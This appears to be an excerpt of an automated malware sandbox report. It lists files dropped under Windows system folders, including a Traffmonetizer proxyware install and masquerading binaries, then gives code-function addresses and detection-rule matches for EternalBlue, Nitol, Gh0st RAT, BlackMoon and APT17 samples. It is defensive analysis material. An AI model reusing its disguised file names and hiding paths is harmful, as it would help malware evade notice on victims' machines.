Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NameResolution.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NetworkInformation.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Ping.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Primitives.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Requests.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Security.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Sockets.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebHeaderCollection.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.Client.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Numerics.Vectors.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ObjectModel.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Extensions.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Metadata.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Primitives.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Reader.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.ResourceManager.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Writer.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.Unsafe.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.VisualC.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Extensions.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Handles.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.RuntimeInformation.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Numerics.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Formatters.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Json.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Primitives.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Xml.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Claims.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Algorithms.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Csp.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Encoding.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Primitives.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.X509Certificates.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Principal.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.SecureString.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.Extensions.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encodings.Web.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Json.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.RegularExpressions.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Overlapped.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Extensions.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Parallel.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Thread.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.ThreadPool.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Timer.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ValueTuple.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.ReaderWriter.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XDocument.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlDocument.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlSerializer.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.XDocument.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe.config
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\64[1].jpg
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\Framework\v3.0\WmiPrvSER.exe
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\Update[1].txt
Source: C:\Windows\SysWOW64\netsh.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\PeerDistRepub
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Source: C:\Windows\Microsoft.NET\ctfmoon.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\ip_royal_paws
Source: C:\Windows\Microsoft.NET\Meson.exe	File created: C:\Windows\Microsoft.NET\.node_id
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\traffmonetizer\pid
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\traffmonetizer\storage.json

Source: C:\Windows\SysWOW64\svchost.exe

File deleted: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\64[1].jpg

Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_0040A035	0_2_0040A035
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_004341F3	0_2_004341F3
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_0046F420	0_2_0046F420
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_004377ED	0_2_004377ED
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_0040D783	0_2_0040D783
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_00410D6A	0_2_00410D6A
Source: C:\Users\user\Desktop\MSSQLH.exe	Code function: 1_2_004218AB	1_2_004218AB
Source: C:\Users\user\Desktop\MSSQLH.exe	Code function: 1_2_0041E4DE	1_2_0041E4DE
Source: C:\Users\user\Desktop\MSSQLH.exe	Code function: 1_2_0041AEE4	1_2_0041AEE4
Source: C:\Windows\Temp\MpMgSvc.exe	Code function: 4_2_00415A52	4_2_00415A52
Source: C:\Windows\Temp\MpMgSvc.exe	Code function: 4_2_00418B5D	4_2_00418B5D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_00418460	11_2_00418460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_00415010	11_2_00415010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_00416CE0	11_2_00416CE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_00419490	11_2_00419490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_00418890	11_2_00418890
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_0041ACA0	11_2_0041ACA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_00413550	11_2_00413550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_00418D30	11_2_00418D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_004159C1	11_2_004159C1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_00419200	11_2_00419200
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_00415716	11_2_00415716
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_0041A720	11_2_0041A720
Source: C:\Windows\Temp\Wmicc.exe	Code function: 63_2_004179EF	63_2_004179EF
Source: C:\Windows\Temp\Wmicc.exe	Code function: 63_2_00414561	63_2_00414561
Source: C:\Windows\Temp\Wmicc.exe	Code function: 63_2_004107F6	63_2_004107F6
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BACE439	64_2_00007FFD9BACE439
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BAC0B88	64_2_00007FFD9BAC0B88
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BAD9316	64_2_00007FFD9BAD9316
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BACF25D	64_2_00007FFD9BACF25D
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BAC3A44	64_2_00007FFD9BAC3A44
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BADD18D	64_2_00007FFD9BADD18D
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BAC165E	64_2_00007FFD9BAC165E
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BADC619	64_2_00007FFD9BADC619
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BAC0640	64_2_00007FFD9BAC0640
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BAD7D50	64_2_00007FFD9BAD7D50
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BAC0C70	64_2_00007FFD9BAC0C70
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BADD2C1	64_2_00007FFD9BADD2C1
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BAC41C6	64_2_00007FFD9BAC41C6
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BAC40FA	64_2_00007FFD9BAC40FA
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BAC4138	64_2_00007FFD9BAC4138
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BAD0FFA	64_2_00007FFD9BAD0FFA
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BAC64A0	64_2_00007FFD9BAC64A0
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BAD0EFA	64_2_00007FFD9BAD0EFA
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BD12258	64_2_00007FFD9BD12258

Source: C:\Windows\Temp\Wmicc.exe	Code function: String function: 0040D418 appears 49 times
Source: C:\Users\user\Desktop\MSSQLH.exe	Code function: String function: 004173F8 appears 40 times
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: String function: 00430707 appears 40 times
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: String function: 0040655C appears 40 times

Source: 38iGnQnL33.exe	Binary or memory string: OriginalFilename vs 38iGnQnL33.exe
Source: 38iGnQnL33.exe, 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMPRLOG.DLLf# vs 38iGnQnL33.exe
Source: 38iGnQnL33.exe, 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMPRLOG.DLLj% vs 38iGnQnL33.exe

Source: 38iGnQnL33.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 4.2.MpMgSvc.exe.63d35e.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 1.0.MSSQLH.exe.44bf60.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 0.2.38iGnQnL33.exe.45a23e.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 1.0.MSSQLH.exe.440f2f.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 8.2.svchost.exe.11775a08.4.raw.unpack, type: UNPACKEDPE	Matched rule: Backdoor_Nitol_Jun17 date = 2017-06-04, hash1 = cba19d228abf31ec8afab7330df3c9da60cd4dae376552b503aea6d7feff9946, author = Florian Roth, description = Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader, reference = https://goo.gl/OOB3mH, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.svchost.exe.11775a08.4.raw.unpack, type: UNPACKEDPE	Matched rule: GhostDragon_Gh0stRAT date = 2016-04-23, hash4 = b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5, hash3 = 6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df, hash2 = 99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2, hash1 = f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197, author = Florian Roth, description = Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report, reference = https://blog.cylance.com/the-ghost-dragon, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.svchost.exe.11775a08.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Nitol_Malware_Jan19_1 date = 2019-01-14, hash1 = fe65f6a79528802cb61effc064476f7b48233fb0f245ddb7de5b7cc8bb45362e, author = Florian Roth, description = Detects Nitol Malware, reference = https://twitter.com/shotgunner101/status/1084602413691166721
Source: 8.2.svchost.exe.11775a08.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Nitol author = ditekSHen, description = Detects Nitol backdoor
Source: 63.0.Wmicc.exe.49fae8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 4.2.MpMgSvc.exe.55c3c8.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 0.2.38iGnQnL33.exe.41930f.3.raw.unpack, type: UNPACKEDPE	Matched rule: APT17_Sample_FXSST_DLL date = 2015-05-14, author = Florian Roth, description = Detects Samples related to APT17 activity - file FXSST.DLL, reference = https://goo.gl/ZiJyQv, hash = 52f1add5ad28dc30f68afda5d41b354533d8bce3
Source: 0.2.38iGnQnL33.exe.41930f.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 7.2.Hooks.exe.1b97cd6.5.raw.unpack, type: UNPACKEDPE	Matched rule: Backdoor_Nitol_Jun17 date = 2017-06-04, hash1 = cba19d228abf31ec8afab7330df3c9da60cd4dae376552b503aea6d7feff9946, author = Florian Roth, description = Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader, reference = https://goo.gl/OOB3mH, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.Hooks.exe.1b97cd6.5.raw.unpack, type: UNPACKEDPE	Matched rule: GhostDragon_Gh0stRAT date = 2016-04-23, hash4 = b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5, hash3 = 6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df, hash2 = 99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2, hash1 = f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197, author = Florian Roth, description = Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report, reference = https://blog.cylance.com/the-ghost-dragon, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.Hooks.exe.1b97cd6.5.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Nitol_Malware_Jan19_1 date = 2019-01-14, hash1 = fe65f6a79528802cb61effc064476f7b48233fb0f245ddb7de5b7cc8bb45362e, author = Florian Roth, description = Detects Nitol Malware, reference = https://twitter.com/shotgunner101/status/1084602413691166721
Source: 7.2.Hooks.exe.1b97cd6.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Nitol author = ditekSHen, description = Detects Nitol backdoor
Source: 7.2.Hooks.exe.1b97cd6.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 0.2.38iGnQnL33.exe.41930f.3.unpack, type: UNPACKEDPE	Matched rule: APT17_Sample_FXSST_DLL date = 2015-05-14, author = Florian Roth, description = Detects Samples related to APT17 activity - file FXSST.DLL, reference = https://goo.gl/ZiJyQv, hash = 52f1add5ad28dc30f68afda5d41b354533d8bce3
Source: 0.2.38iGnQnL33.exe.41930f.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 1.0.MSSQLH.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: APT17_Sample_FXSST_DLL date = 2015-05-14, author = Florian Roth, description = Detects Samples related to APT17 activity - file FXSST.DLL, reference = https://goo.gl/ZiJyQv, hash = 52f1add5ad28dc30f68afda5d41b354533d8bce3
Source: 1.0.MSSQLH.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 8.2.svchost.exe.11775a08.4.unpack, type: UNPACKEDPE	Matched rule: Backdoor_Nitol_Jun17 date = 2017-06-04, hash1 = cba19d228abf31ec8afab7330df3c9da60cd4dae376552b503aea6d7feff9946, author = Florian Roth, description = Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader, reference = https://goo.gl/OOB3mH, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.svchost.exe.11775a08.4.unpack, type: UNPACKEDPE	Matched rule: GhostDragon_Gh0stRAT date = 2016-04-23, hash4 = b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5, hash3 = 6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df, hash2 = 99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2, hash1 = f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197, author = Florian Roth, description = Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report, reference = https://blog.cylance.com/the-ghost-dragon, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.svchost.exe.11775a08.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Nitol_Malware_Jan19_1 date = 2019-01-14, hash1 = fe65f6a79528802cb61effc064476f7b48233fb0f245ddb7de5b7cc8bb45362e, author = Florian Roth, description = Detects Nitol Malware, reference = https://twitter.com/shotgunner101/status/1084602413691166721
Source: 8.2.svchost.exe.11775a08.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Nitol author = ditekSHen, description = Detects Nitol backdoor
Source: 8.2.svchost.exe.11775a08.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 1.2.MSSQLH.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: APT17_Sample_FXSST_DLL date = 2015-05-14, author = Florian Roth, description = Detects Samples related to APT17 activity - file FXSST.DLL, reference = https://goo.gl/ZiJyQv, hash = 52f1add5ad28dc30f68afda5d41b354533d8bce3
Source: 1.2.MSSQLH.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 7.2.Hooks.exe.1b97cd6.5.unpack, type: UNPACKEDPE	Matched rule: Backdoor_Nitol_Jun17 date = 2017-06-04, hash1 = cba19d228abf31ec8afab7330df3c9da60cd4dae376552b503aea6d7feff9946, author = Florian Roth, description = Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader, reference = https://goo.gl/OOB3mH, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.Hooks.exe.1b97cd6.5.unpack, type: UNPACKEDPE	Matched rule: GhostDragon_Gh0stRAT date = 2016-04-23, hash4 = b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5, hash3 = 6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df, hash2 = 99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2, hash1 = f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197, author = Florian Roth, description = Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report, reference = https://blog.cylance.com/the-ghost-dragon, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.Hooks.exe.1b97cd6.5.unpack, type: UNPACKEDPE	Matched rule: MAL_Nitol_Malware_Jan19_1 date = 2019-01-14, hash1 = fe65f6a79528802cb61effc064476f7b48233fb0f245ddb7de5b7cc8bb45362e, author = Florian Roth, description = Detects Nitol Malware, reference = https://twitter.com/shotgunner101/status/1084602413691166721
Source: 7.2.Hooks.exe.1b97cd6.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Nitol author = ditekSHen, description = Detects Nitol backdoor
Source: 7.2.Hooks.exe.1b97cd6.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 11.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Backdoor_Nitol_Jun17 date = 2017-06-04, hash1 = cba19d228abf31ec8afab7330df3c9da60cd4dae376552b503aea6d7feff9946, author = Florian Roth, description = Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader, reference = https://goo.gl/OOB3mH, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: GhostDragon_Gh0stRAT date = 2016-04-23, hash4 = b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5, hash3 = 6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df, hash2 = 99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2, hash1 = f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197, author = Florian Roth, description = Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report, reference = https://blog.cylance.com/the-ghost-dragon, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Nitol_Malware_Jan19_1 date = 2019-01-14, hash1 = fe65f6a79528802cb61effc064476f7b48233fb0f245ddb7de5b7cc8bb45362e, author = Florian Roth, description = Detects Nitol Malware, reference = https://twitter.com/shotgunner101/status/1084602413691166721
Source: 11.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Nitol author = ditekSHen, description = Detects Nitol backdoor
Source: 4.2.MpMgSvc.exe.4e0bc0.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 63.2.Wmicc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 1.0.MSSQLH.exe.42b54f.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 63.0.Wmicc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 0.2.38iGnQnL33.exe.44485e.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 4.2.MpMgSvc.exe.4bc8e0.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 4.2.MpMgSvc.exe.4bc8e0.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 0.2.38iGnQnL33.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
